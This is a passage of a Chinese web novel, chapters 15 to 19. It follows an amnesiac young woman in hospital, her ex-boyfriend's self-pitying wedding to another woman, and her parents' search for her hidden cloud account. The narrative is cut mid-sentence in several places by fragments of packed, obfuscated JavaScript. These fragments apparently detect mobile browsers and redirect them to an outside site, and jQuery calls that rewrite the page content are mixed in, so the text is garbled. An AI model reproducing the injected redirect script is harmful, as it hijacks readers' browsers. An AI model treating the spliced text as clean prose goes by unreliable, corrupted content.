l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418939|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，没有立刻进来，只是用那种近乎贪婪又痛苦的眼神望着她。 许母接过东西，态度客气而疏离：“何先生，你又破费了。真的不必经常来的。” “阿姨，我…我只是想看看念晞，看看她好不好。”何宇薛的声音沙哑，带着一种刻意营造的深情。 许父在一旁沉默地看着，眉头紧锁。他们感激何宇薛在女儿出事初期的奔走，但随着时间的推移，尤其是苏家施加的巨大压力和女儿始终不见起色的状态，让这对老实的夫妻心中充满了疑虑和不安。他们隐约感觉到，女儿的车祸和这个看似深情的男人脱不了干系，却又无法抓住确切的证据，更无力与何苏两家抗衡。 何宇薛走到床边，小心翼翼地坐下，试图去碰许念晞放在被子上的手。 就在他的指尖即将触碰到她的前一秒，许念晞像是被电击般，猛地将手缩回了被子里，整个身体几不可查地往后退缩了一下。 动作幅度很小，但抗拒的意味却异常明显。 何宇薛的手僵在半空，脸色瞬间变得更加苍白，眼底的痛苦几乎要溢出来。“念晞…”他喃喃道，声音里带着难以置信的受伤。 许念晞没有看他，只是将脸更偏向窗外，嘴唇微微抿紧。她不知道为什么要躲，只是身体先于大脑做出了反应——排斥，强烈的排斥。 空气中弥漫开一种极其尴尬和令人窒息的气氛。 许母连忙打圆场：“念晞她…她可能今天有点不舒服。何先生，你别介意。” 何宇薛苦涩地笑了笑，收回手，握成拳放在膝上：“是我不好，吓到她了。” 他又坐了一会儿，试图找些话说，比如医院的伙食怎么样，晚上睡得好不好。许念晞始终一言不发，像个没有灵魂的木偶。许父许母的回答也干巴巴的，礼貌但充满距离。 最终，何宇薛再也无法忍受这种无声的凌迟，狼狈地起身告辞。 看着他几乎是逃离病房的背影，许母轻轻地、几乎听不见地叹了口气。 一直沉默的许父，突然低低地、清晰地从牙缝里挤出三个字： “呸，渣男。” 声音很轻，却像一块石头，重重砸在病房沉闷的空气里。 许母惊讶地看向丈夫，丈夫脸上是压抑已久的愤怒和鄙夷。她没有说话，只是默默地，握紧了女儿冰凉的手。 许念晞依旧看着窗外。 但她缩在被子里的手，指尖微微颤动了一下。 渣男…？ 这个词，像一颗生锈的钉子，猝不及防地楔入她一片空白的大脑。 为什么…会觉得这个词…有点熟悉？ 心里那股莫名的、针对那个男人的厌恶和抗拒，似乎突然找到了一个模糊的、却极具力量的标签。 窗外，一只小鸟孤零零地飞过，很快消失在灰白色的天空里。 许念晞空洞的眼睛里，第一次，极其缓慢地，掠过一丝极淡极淡的、属于她自己的情绪涟漪—— 那是一种，源自灵魂最深处的、本能的鄙夷和否定。 15. 第 15 章 何宇薛与苏晚晴的婚礼，堪称本年度最“盛大”的社交盛宴。各大媒体争相报道，用尽了“天作之合”、“强强联合”、“王子与公主的童话”等华丽辞藻。苏家别墅张灯结彩，名流云集，空气中弥漫着奢华香槟与昂贵香水混合的味道，虚伪的欢笑和应酬充斥每一个角落。 休息室内，何宇薛穿着价值不菲的定制礼服，英俊得如同雕塑。但他看着镜中的自己，只觉得像看到一个被精心包装的木偶，每一根线都攥在别人手里。领结勒得他喘不过气，如同这场婚姻本身。 苏晚晴在一旁，由造型师做着最后打理。她穿着奢华的婚纱，脸上是得意和胜利的笑容，看向何宇薛的眼神充满了占有。 “宇薛，等下出去开心点，别板着一张脸。”她语气娇嗔，却带着命令，“今天可是我们的大日子，多少双眼睛看着呢。别忘了你答应过我爸妈的话。” 何宇薛没有回头，只是从镜子里看着她，声音平淡无波：“嗯。” 婚礼进行曲庄严响起。 何宇薛站在灯光璀璨的礼台下，看着苏晚晴挽着苏父的手臂，一步步向他走来。婚纱刺眼的白光让他一阵恍惚。 他看到的，却不是苏晚晴志得意满的脸。 而是一张苍白、脆弱、带着茫然空洞眼神的脸庞，安静地躺在医院的病床上，窗外是永远灰霾的天空。 他的心脏骤然缩紧，一阵尖锐的疼痛窜遍全身。 他正在这里，穿着礼服，举行盛大的婚礼。而那个他曾许诺一生珍惜的女孩，却因为他，被永远禁锢在遗忘和绝望的牢笼里。 罪恶感如同最冰冷的潮水，瞬间将他淹没，让他几乎站立不稳。 “宇薛。”苏父警告的声音在耳边低声响起，将他的神智拉回现实。 他深吸一口气，强迫自己挤出完美的微笑，伸出手，从苏父手中接过苏晚晴的手。 她的手带着兴奋的微热，而他的指尖，冰凉如雪。 司仪说着千篇一律却感人肺腑的台词，询问着无论贫穷富贵、疾病健康的誓言。 “我愿意。”苏晚晴回答得响亮而迫不及待。 轮到何宇薛。 全场安静下来，所有目光都聚焦在他身上。 他张了张嘴，那几个字却重如千斤，卡在喉咙里，带着血腥味。 他目光扫过台下。苏父母脸上是满意的微笑，宾客们是艳羡和祝福。何父何母的眼神里，则带着一丝不易察觉的复杂和催促。 这一切，都建立在一个女孩的毁灭之上。 他的沉默只有几秒，却漫长得像一个世纪。 最终，他听到自己干涩、空洞，仿佛来自遥远地狱的声音响起： “……我愿意。” 没有一丝温度，没有一丝喜悦。甚至不像一个承诺，更像一句……判词。 礼成，交换戒指。何宇薛机械地执行着。冰凉的铂金戒指套上无名指，像一道永恒的枷锁。 宴会开始，敬酒环节不可避免。 何宇薛端着酒杯，强颜欢笑，接受着一波波虚伪的祝贺。酒精灼烧着他的胃，却无法温暖他冰冷的四肢。 在一个相对安静的角落，他大学时的一个还算交好的朋友（或许还存有一丝良知）趁着酒意，压低声音问他： “宇薛…你…你真的放下医院那个了？我听说她情况不太好…” 何宇薛的身体猛地一僵。 酒精和巨大的心理压力仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418940|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛找到了一个宣泄口。他看着杯中晃动的液体，脸上浮现出一种极端痛苦和自我感动交织的扭曲表情。 他猛地灌下那杯酒，然后，用沙哑的、仿佛承载了全世界的痛苦和无奈的声音，说出了那句经典至极的—— “渣男语录”： “她失去的只是健康和记忆，而我…我牺牲的是整个爱情和一生的快乐啊。” 朋友：“？？？”（一副被雷劈中的表情，仿佛在说‘你没事吧？’） 何宇薛似乎完全沉浸在自己悲情男主角的戏码里，继续喃喃道，声音里带着一种令人作呕的自我怜惜： “我和晚晴结婚，是为了家族责任，是为了所有人好。如果我不这样做，会有更多人受到伤害…念晞她…她会理解我的…就算她永远想不起来，她的善良也会让她原谅我的…” “爱情…爱情在现实面前，真的太渺小了。我也是…迫不得已。” 他说得那般痛苦，那般情真意切，仿佛自己才是这段畸形关系里最大的受害者。 朋友彻底无语，脸上的表情从震惊变为鄙夷，最后只剩下一句：“…你喝多了。”然后迅速找借口溜走，生怕被这极品渣男的脑回路传染。 何宇薛独自站在原地，看着热闹的宴会厅，只觉得前所未有的孤独和冰冷。 他甚至被自己刚才那番话感动了，觉得自己付出了巨大的代价，伟大又悲情。 可他永远不会去想—— 那个被他亲手推入深渊的女孩，连选择“原谅”或“不原谅”的权利，都已经被他们联手剥夺了。 她的世界只剩下无声的空白，而他，却在她的废墟上，上演着自己的无奈与深情。 呸，渣男。 17. 第 17 章 医院的白，是一种能吞噬一切色彩、声音乃至时间感的苍白。它覆盖在墙壁上，弥漫在空气里，最终似乎也渗入了许念晞的瞳孔深处，将她整个世界染成一片虚无的旷野。她不再是这片旷野的主人，而是其中最迷失、最静止的囚徒。 许念晞的失忆症，如同不断上涨的潮水，非但没有退却，反而日复一日地侵蚀着记忆中仅存可能存在的沙洲，将她与“过去”和“现实”连接的桥梁彻底冲垮，留下的只有令人绝望的荒芜。 记忆的彻底荒漠化 对她而言，每一天都是生命中的第一天，也是最后一天。循环往复，毫无意义。 清晨，许母照例红着眼眶，用温热的毛巾极其轻柔地擦拭她的脸颊。她会低声哼唱一首许念晞小时候最爱的摇篮曲，那是刻在母亲骨子里的记忆，每一个音符都带着血泪。“念晞，宝贝，妈妈在这儿…”许母的声音哽咽，充满希冀地观察着女儿的反应。 但许念晞只是睁着那双过于清澈、却空洞得像玻璃珠一样的眼睛，茫然地对着空气眨眼。母亲的眼泪，母亲的歌声，母亲指尖的温度…所有这些信息传入她的大脑，却无法激起任何涟漪。它们像投入深潭的石子，甚至听不见回响就沉入了无尽的空白之底。她不认识这个女人，不理解她的悲伤，更无法将“妈妈”这个词汇与任何情感或概念联系起来。 许父尝试着拿出厚厚的相册，一页页翻过，指着上面笑靥如花的女孩：“念晞，你看，这是你三岁的时候在公园…这是你大学毕业…这是你…”他的声音沙哑，带着小心翼翼的引导，仿佛在呼唤一个沉睡的灵魂。 许念晞的目光偶尔会落在照片上，但那里没有聚焦，只有一片模糊的光影。照片上的女孩对她而言，与杂志上的模特、窗外的飞鸟没有任何不同。她失去了对“自我”最基本的认知。“许念晞”这三个字，在她听来与随机组合的音节无异。世界对她而言，剥离了所有意义和关联，只剩下无法理解的形状、颜色和声音。 本能褪色与行为退化 她几乎彻底沉默了。语言功能仿佛被彻底格式化，不再发出任何有意义的声音。不因疼痛而哭泣，不因舒适而叹息，更不会提出任何需求。她成了一个绝对被动的存在，像一件需要精心维护的物品。 护工和父母为她进行一切日常护理：喂饭、洗漱、翻身。她任由摆布，没有配合，也没有丝毫抗拒。甚至连吞咽这样的基本反射，有时都会出现障碍。许母需要极有耐心地轻声哄着：“念晞，咽下去，对，就这样…”仿佛在教一个初生的婴儿。但她学不会，第二天又会忘记。 康复治疗成了最徒劳的环节。物理治疗师试图抬起她的手臂，引导她做简单的伸展运动。她的肢体柔软而无力，像没有骨骼的藤蔓，一旦松开，便立刻垂落回去。她的眼神涣散，无法理解“抬手”、“用力”这样的指令。世界于她，是一套无法解码的复杂程序。 她长时间保持着同一姿势——要么平躺着凝视天花板上一块模糊的斑点，仿佛能从中看穿宇宙的奥秘；要么被扶着靠在床头，视线投向窗外。但她并非在“看”风景，只是那个方向恰好有光线变化。没有无聊，没有期待，没有改变现状的欲望。连睡眠都失去了规律，有时昏睡终日，有时彻夜睁着眼，瞳孔在黑暗中映不出丝毫光彩。 情感的绝对真空 最令人心碎的，是她情感的彻底缺席。恐惧、悲伤、喜悦、愤怒…这些构成人性的基本情绪，似乎已从她身上彻底抽离。她不再对何宇薛的到来产生任何反应，无论是早期的微弱排斥，还是后来的漠然。 而这，恰恰爲何宇薛的反覆出現，鋪墊了最令人窒息的舞台。 他几乎定期都会来。每次都穿着昂贵得体，仿佛不是来探视一个病人，而是来出席一场无关紧要的会议。手里依旧提着精致的果篮或鲜花，与病房里绝望的气息格格不入。 他会坐在那张冰冷的访客椅上，保持一段自以为安全的距离，然后开始他的“表演”。 “念晞，今天天气很好，你窗外的树好像发芽了。”他声音低沉，带着一种刻意练习过的、饱含痛苦的温柔。沉默。只有仪器规律的滴答声。“我…我很想你。”他继续说，语气里的自我感动几乎要溢出来，“每次来看到你这样，我这里…”他捂住自己的胸口，眉头紧锁，“就像刀割一样疼。”绝对的寂静。许念晞的呼吸平稳，眼神空茫地落在他身后的某一点，仿佛他只是一团人形的空气。“我知道你也许能感觉到…也许不能…”他喃喃自语，像是说给她听，更像是说给自己听，为自己寻找一个继续这场忏悔仪式的理由，“但我必须来。这是我欠你的。这是我的…赎罪。” 有时，他会陷入更长久的沉默，只是用那种充满复杂情绪——痛苦、愧疚、或许还有一丝不易察觉的自我厌弃——的眼神凝视着她。那眼神贪婪地扫过她苍白的脸、干涩的嘴唇、瘦削的手指，试图从中找到一丝一毫属于过去那个许念晞的影子，或是找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418942|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝对他存在的认可。 但他每一次凝视，得到的都是同样的、深不见底的空白。这空白似乎激怒了他，又或是加深了他的痛苦，让他下一次来得更加频繁和固执。他仿佛需要通过这种反复的确认，来折磨自己，也来证明自己并非全然无情，他仍在“付出”，仍在“痛苦”。 他的出现，每一次都是对许父许母无声的凌迟。他们不能直接赶走他，因为何家苏家的权势像巨石压在心头。他们只能看着他坐在那里，对着他们已几乎失去所有意识的女儿，说着那些虚伪又自私的话，一次次地用他的存在提醒他们这场悲剧的根源。 许母会背过身去，假装整理床头柜，手指却因愤怒和恶心而微微颤抖。许父则脸色铁青，紧握着拳头，指甲深深嵌入掌心，用身体的疼痛压制着即将爆发的怒火。 而许念晞呢？ 她接收不到任何信号。他的话语是无意义的噪音，他的痛苦是滑稽的扭曲表情，他的存在是一个无关紧要的障碍物，偶尔会挡住窗外那片她其实也并未在“看”的光线。 医学上，医生们用越来越悲观的术语向许父许母解释：“严重海马体及周边皮层损伤”、“认知功能永久性丧失可能性极高”、“创伤后应激障碍的终极防御状态——情感与记忆的彻底剥离”…那些被苏家暗中推动的“保守治疗”、“避免过度刺激”方案，如今看来，更像是为这冰冷的医学结论铺平了道路，甚至可能是加速其实现的帮凶。 希望，像残烛的最后一点火苗，在一次次徒劳的尝试和何宇薛反覆的、令人作呕的登场中，微弱地摇曳，几乎熄灭。 病房里，时间仿佛凝固了。只有何宇薛周期性的出现和离开，像一枚钝锈的针，反复刺穿着这凝固的、令人绝望的悲伤。他每一次的到来，都不会带来任何好转，只会加深这片“空白牢笼”的绝望气息，让旁观者感到一种生理性的反感和恶心。 他沉浸在自己悲情赎罪的戏码里，一次又一次地来到这片他亲手参与制造的废墟前，展览着他的痛苦，却丝毫看不见，他的出现本身，就是最深的讽刺和最残忍的折磨——尽管，唯一的受害者已无法感知。 这重复的折磨，几乎只针对那些还清醒着、还痛苦着的人。 许念晞依旧安静地坐在或躺在那里，灵魂仿佛飘荡在遥远的天际，对这发生在地面上、围绕着她的一切闹剧和悲剧，漠不关心。 她的世界，只剩下那片纯粹、绝对、庞大的空白。 18. 第 18 章 碎片与微光 …… 空白。 这是我最熟悉的状态。像置身于一片浓雾，没有方向，没有时间，没有声音，也没有…我。 偶尔，会有一些东西穿透这片浓雾。 一种触感。冰凉、光滑的液体滑过喉咙，伴随着一个极其温柔又带着颤抖的声音：“念晞，乖，再喝一点…”那声音里有一种东西，让这片空白…微微发涩。我不明白那是什么，但那涩意会短暂地停留在雾里，然后慢慢消散。 一种光影。窗户的方向，有时明亮，有时昏暗。那些光的变化没有意义，但它们是我这片无尽空白里，唯一会移动的东西。我有时会“看着”它们，因为除此之外，无事可做。 还有一种…压力。 一种周期性的、沉重的、让我这片空白领域都感到滞涩的压力。它通常伴随着一个模糊的、高大的轮廓出现。那个轮廓会发出声音，低沉，缠绕着一种我无法理解、却本能感到不适的情绪。那声音说的话，像奇怪的符号，无法解码，但带来的感觉却清晰——是窒息。像无形的手捂住我的口鼻，即使我并不需要呼吸。 每当那个轮廓出现，那片浓雾就好像变得更冷、更重。我无法移动，无法表达，只能更深地缩回内部的空白里，直到它消失。 今天，那种压力刚走。 空白里还残留着令人不快的滞涩感。我依旧“看”着窗外，那里只有一片模糊的光亮。 然后，另一种不同的波动出现了。 敲门声。一个新的轮廓出现在门口。这个轮廓…不一样。它带来的不是沉重的压力，而是一种…温和的扰动。像一颗小石子投入雾中，漾开的涟漪很轻，却清晰。 他走近了。我看不清他的脸，所有面孔在我这里都是模糊的。但我能感觉到他的“视线”落在我身上，那视线里…没有那种令人窒息的沉重，而是另一种东西…像是…冰冷的雾突然遇到了一小团暖空气，产生了一种微妙的温差。 他放下了什么东西。一阵极淡的、清新的气息驱散了一点残留的窒息感。 然后，他说话了。声音和之前那个温柔颤抖的声音、那个沉重窒息的声音都不同。这个声音…清朗，像穿透浓雾的一缕微弱天光。它说的符号同样无法理解，但它引起的涟漪是不同的。 我听到那两个熟悉又陌生的音节——“念晞”。 又听到了那两个字——“大学”，“摄影”。 咔嚓。 一个极其尖锐、短暂的破碎声，在我内部的空白深处炸响。 不是耳朵听到的声音。是…别的什么东西。 伴随而来的，是一帧画面：一只修长的手，调整着一个黑色仪器的旋钮，指尖沾着一点阳光的金色。瞬间消失。 一句模糊的低语，带着笑意：“…这个角度的光，才是活的。”瞬间消失。 一种感觉：轻松，自由，风吹过发梢，内心充满了一种安静的、雀跃的…创造的热情。瞬间消失。 太快了。快得像从未发生。 我的空白世界剧烈地晃动了一下，然后又迅速归于死寂。那帧画面、那句低语、那种感觉，没有留下任何痕迹，仿佛只是空白本身产生的一个幻觉。 但那片浓雾，似乎有那么万分之一秒，变薄了一丝丝。 那个清朗的声音还在和那两个温柔颤抖的声音交谈。他们说的符号更多了：“何宇薛”、“云盘”、“树洞”… 这些符号猛烈地撞击着我的空白，但它们太复杂，无法形成意义，只带来一种嗡嗡的耳鸣般的干扰感。唯一清晰的是，当那个“何宇薛”的符号出现时，我残留的窒息感骤然加重了。 那个带来微光的轮廓要走了。 他最后似乎又“看”了我一眼。那团暖空气的感觉轻轻拂过这片冰冷的雾，然后逐渐远离。 门关上了。 空白重新完全笼罩了我。 但有些东西，不一样了。 那片空白不再是绝对的死寂。深处，似乎有一个点，在微微发烫。就是刚才那帧画面、那句低语、那种感觉闪过的地方。 我依旧不知道我是谁。 我依旧不认识任何人。 我依旧被困在这片浓雾里。 可是… 我缓缓地，极其缓慢地，转动了一下眼球。不再是毫无目的地对着窗外的光，而是…向下，看向了床头柜。 那里，放着一小束白色的小花。它们的样子很清晰，在一片模糊的世界里，清晰地勾勒出自己简单的形状。 它们散发着一种…不一样的气息。不是医院消毒水的味道，不是果篮甜腻的味道，不是那个沉重轮廓带来的昂贵花香。 是一种…干净、简单、带着一点点倔强的生命气息。 我的空白世界，第一次，有了一件可以“被看见”的东西。 我望着那束小花。 很久，很久。 空洞的眼睛里，倒映着那一点点干净的白色。 最深处的那个点，持续地，微弱地，发着烫。 不速之客与尘封的线索 日子在医院的苍白和何宇薛周期性的、令人窒息的造访中缓慢流淌，像一潭绝望的死水。许父许母日益沉默，鬓边的白发以肉眼可见的速度增多，他们守护着女儿空洞的躯壳，内心的希望几乎已被磨蚀殆尽。 然而，这潭死水，却因为一个完全意外的访客，被投入了一颗石子，漾起了微不可察却又无法忽视的涟漪。 那是一个周末的下午，阳光勉强透过厚厚的云层，给病房带来一丝微弱的光亮。何宇薛刚离开不久——他这次停留的时间格外长，说了更多沉浸在自我感动中的独白，几乎耗尽了许父许母所有的忍耐力。病房里的空气沉闷得令人作呕。 就在这时，敲门声轻轻响起。 许母以为是护士，疲惫地应了一声：“请进。” 门被推开，出现的却是一个陌生的年轻男人。他约莫二十七八岁，穿着简单的休闲外套和牛仔裤，气质干净温和，手里捧着一束清新的小雏菊，与病房里奢华却压抑的花篮果篮格格不入。他脸上带着些许不确定和谨慎，目光快速扫过病房，最后落在病床上的许念晞身上，眼中瞬间掠过一丝清晰的震惊与痛惜。 “请问您是…”许母站起身，疑惑地看着这个陌生人。许父也投来警惕的目光。 “叔叔阿姨，你们好。”年轻人礼貌地欠了欠身，声音清朗温和，“冒昧打扰。我叫陈默，是…念晞的大学同学，也是她以前在摄影协会的…朋友。” 大学同学？摄影协会？ 这两个词像一把生锈的钥匙，突然试图去开启一扇早已被所有人认为焊死的门。许父许母愣住了，他们已经太久没有从任何人口中听到女儿过去生活的碎片了。 “陈…陈同学？”许母的声音有些颤抖，“你怎么会…” “我前段时间一直在国外做交流项目，刚回国不久。”陈默解释道，他的目光再次心疼地看向许念晞，“才从一个朋友那里偶然听说…念晞出了事。我…我很抱歉现在才来看她。” 他走上前，将小雏菊轻轻放在床头柜上，替换掉了何宇薛送来那束即将凋谢的、过于艳丽的玫瑰。这个细微的动作，莫名地让许母心头一酸。 “念晞她…”陈默看着那双空洞的眼睛，喉咙似乎被什么堵住了，“医生怎么说？” 许父沉重地摇了摇头，声音沙哑：“情况不好。记忆…可能很难恢复了。” 陈默沉默了片刻，双手微微握紧。他看起来很难过，但并不仅仅是悲伤，还有一种…思索的神情。 “叔叔阿姨，”他犹豫了一下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418943|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在斟酌措辞，“我知道现在说这些可能不合适，也很冒昧。但是…我和念晞以前因为摄影合作，还算熟悉。她是个很有想法、内心很丰富的女孩…” 他顿了顿，像是下定了决心：“我听说…她出事，是和那个何宇薛有关？” 提到这个名字，许父许母的脸色瞬间变得更加难看，但那种难看之中，又带着无法言说的屈辱和愤怒。他们的沉默，几乎等同于默认。 陈默的眉头紧紧皱起：“果然…我回来后就听到一些风言风语，关于何家和苏家…”他没有把话说完，但意思已经很明显。他看着二老疲惫而绝望的样子，眼中闪过一丝决断。 “叔叔阿姨，也许…也许我不该多嘴。但是，念晞以前…曾经跟我提到过一些事情。”陈默的声音压得更低了，“她那时候似乎有些困扰，关于何宇薛…关于他们之间的一些…不一致的地方。她甚至…” 他深吸一口气：“她甚至有一次，好像是把一些觉得不安的聊天记录或者照片，备份在了一个旧的私人云盘里。她说那是她小时候用的，几乎没人知道，算是她的一个…‘树洞’。” 许父许母猛地抬起头，眼中第一次燃起了一丝不同于绝望的光芒，尽管那光芒微弱而颤抖。 “云盘？”许母急切地问，“什么云盘？账号密码是什么？” 陈默摇了摇头，面露遗憾：“她当时只是随口一提，很模糊，我没有细问，她也没有明说。她说那只是自己胡思乱想，或许没什么。后来…后来她就很少再提了。”他看向许念晞，眼神复杂，“我不知道那里面到底有没有东西，也不知道现在还有没有用…但我想，或许应该告诉你们。万一…万一里面有什么线索呢？” 这条信息，像在无尽的黑暗中，突然投下了一缕极其微弱、甚至可能随时熄灭的光。 何宇薛和苏家编织的网看似密不透风，他们将许念晞变成了一个无法开口的沉默者，抹去了所有表面的证据。但他们或许忽略了，那个看似乖巧顺从的女孩，在感到不安时，或许曾本能地留下过一些属于自己的痕迹。 那些痕迹，可能深藏在网络世界的某个角落，尘封在一个被遗忘的“树洞”里。 许父的手因为激动而微微发抖。他们尝试了所有医学上的方法，求助无门，申诉无路。而现在，这条突如其来的、渺茫至极的线索，成了他们唯一能主动抓住的东西。 “谢谢…谢谢你，陈同学！”许母的声音带着哭腔，是这么久以来，第一次听到可能存在的“希望”，哪怕它如此渺茫。 “请不要告诉任何人我来过，尤其是…何家的人。”陈默郑重地叮嘱道，“我只是觉得…念晞不应该就这样无声无息地被忘记。如果需要我帮忙做些什么，比如试着回忆一下她可能用的账号名之类的，我可以尽力。” 他又停留了一会儿，安静地看了看许念晞，眼神里的悲伤和关切真诚而温暖。然后，他礼貌地告辞离开。 病房里再次恢复了安静。 但空气已经完全不同了。 不再仅仅是绝望和死寂，而是多了一种紧张的、微弱的期盼和一种急于行动的焦灼。 许父立刻拿出手机，手指因为激动而有些不听使唤。他开始搜索关于私人云盘、旧账号找回的信息。 许母则坐在女儿床边，紧紧握住那只冰凉的手，泪水终于决堤，但这一次，不再是纯粹的绝望。 “念晞…念晞…你听到了吗？也许…也许还有办法…”她低声啜泣着，对着毫无反应的女儿诉说，“妈妈和爸爸，一定会想办法找到…一定会…” 病床上，许念晞依旧睁着空洞的双眼，望着窗外。 窗外，乌云似乎散开了一些，一缕微弱的阳光，顽强地穿透云层，洒在窗台上。 那束小雏菊，在阳光下，散发着安静而坚韧的气息。 19. 第 19 章 陈默的到来像一颗投入死水的石子，涟漪虽微，却彻底搅动了许父许母早已绝望的心。他们像是溺水之人抓住了最后一根稻草，明知其纤细，却也拼尽全力不肯放手。 那个下午之后，病房里的气氛悄然变了。不再是完全的沉寂和等待，多了一种隐秘的、焦灼的行动力。 许父几乎立刻开始行动。他借口回家取换洗衣物，将自己关在书房里，打开了那台许久未用的旧电脑。屏幕上微弱的光映着他憔悴却异常专注的脸。他在搜索引擎里输入一个个关键词：“老旧云盘”、“如何找回遗忘的账号”、“私人网络存储”… 网页弹出一条条信息，技术术语看得他眼花缭乱。他只是一个普通的父亲，对网络世界的了解仅限于日常使用。他尝试回忆女儿可能使用的任何线索——她小时候用过的昵称？她的生日？她喜欢的数字？她曾经养过的小猫的名字？ 他一遍遍尝试可能的账号组合，在各种可能存在的云盘登录界面输入，回应他的却总是冰冷的红色错误提示：“账号或密码错误”、“用户不存在”。每一次失败，都像一盆冷水浇在他刚刚燃起的希望之火上，但他咬着牙，不肯放弃。汗水从他额角滑落，滴落在键盘上。 与此同时，医院病房里，许母也开始了她的“探索”。 她坐在女儿床边，握着许念晞冰凉的手，声音比以往更加温柔，却带着一种引导性的急切。 “念晞，乖女儿，你听听妈妈说话，好不好？”她轻轻抚摸着女儿的头发，“你还记不记得，你以前很喜欢拍照的？那个黑色的相机，重重的，你总说要把美好的瞬间留下来…” 许念晞眼神空洞，毫无反应。 “你有一个…很小的时候用的…小本子？或者…一个放在网络上的…小秘密基地？”许母小心翼翼地斟酌着用词，避免刺激到她，“你叫它…‘树洞’？记得吗？可以把不开心的事情告诉它…” “树洞”两个字出口的瞬间，许母紧紧盯着女儿的眼睛。 没有惊涛骇浪，甚至没有一丝涟漪。那双眼睛依旧像蒙着厚厚灰尘的玻璃，映不出任何影像。 许母的心沉了下去，但又不甘心。她继续尝试：“那…账号呢？你小时候第一个用的□□号？或者…你喜欢的英文名字加上生日？比如…‘Nianxi520’？或者…” 她报出一个个她能想到的、与女儿过去相关的字符组合。每一个词组都像投入深海的石子，无声无息。 长时间的徒劳无功让许母感到一阵深深的无力感。她停下来，疲惫地靠在椅子上，看着女儿麻木的侧脸，泪水无声滑落。 “念晞…帮帮妈妈…哪怕一点点提示也好…”她低声哀求，声音破碎。 就在这时，一直像人偶般静止的许念晞，放在被子上的右手食指，极其轻微地颤动了一下。 幅度小到几乎可以忽略不计，像是神经元的无意识放电。 但一直紧握着她的手的许母，瞬间就感觉到了！ 那一下微弱的颤动，像电流一样击中了许母！ 她猛地坐直身体，心脏狂跳，几乎屏住了呼吸，眼睛死死盯住女儿的手指：“念晞？你听到了是不是？你再动一下？再动一下手指好不好？” 没有反应。 许念晞的目光依旧涣散地对着前方，仿佛刚才那一下只是错觉。 但许母坚信那不是错觉！那是女儿在无边黑暗中，对她发出的极其微弱的回应！ 她激动得浑身发抖，立刻拿出手机，给丈夫发去信息：“老许！有反应！我刚提到那些账号的时候，念晞的手指动了一下！虽然很小，但我感觉到了！她肯定有印象！你试试结合她小时候的东西！她那个带锁的日记本！她最喜欢的兔子玩偶的名字！还有‘树洞’！重点试试‘树洞’相关的！” 家里的许父收到信息，精神猛地一振！原本有些灰心的他再次焕发出斗志。他不再盲目尝试，而是开始系统地回忆女儿成长中的每一个细节。 他翻箱倒柜，找出了许念晞小学、中学的毕业纪念册，寻找她可能用过的签名。他甚至找到了一个落满灰尘的旧盒子，里面装着女儿少女时期珍爱的小玩意儿：朋友送的卡片、漂亮的贴纸、一个早已停用的MP3… 他的手指拂过这些充满回忆的物件，眼眶发热。最终，他的目光停留在一个小小的、密码锁已经锈蚀的日记本上。他用力掰开锁扣，里面是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418944|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿稚嫩的笔迹，记录着少女心事。在某一页的角落，他看到一个用铅笔画的小树洞，旁边写着一行小小的英文： “MySecretTreeHollow.” “TreeHollow”！不是常见的“TreeHole”！ 许父如获至宝！他立刻回到电脑前，尝试将“Nianxi”、“TreeHollow”、以及女儿画下这个树洞的疑似日期组合起来，在各种可能的云服务提供商网站尝试登录。 一次，两次，三次… 失败。 他尝试大小写，尝试替换符号… 再次失败。 就在他几乎要再次绝望时，在一个相对冷门的个人网络存储服务网站（它多年前曾流行过一阵），他输入了：“Nianxi_TreeHollow” 光标转动。 页面刷新。 跳转的不是一个错误提示，而是一个——密码输入界面！ 账号存在！ 这个账号真的存在！ 许父激动得差点喊出来，手指颤抖得几乎握不住鼠标。 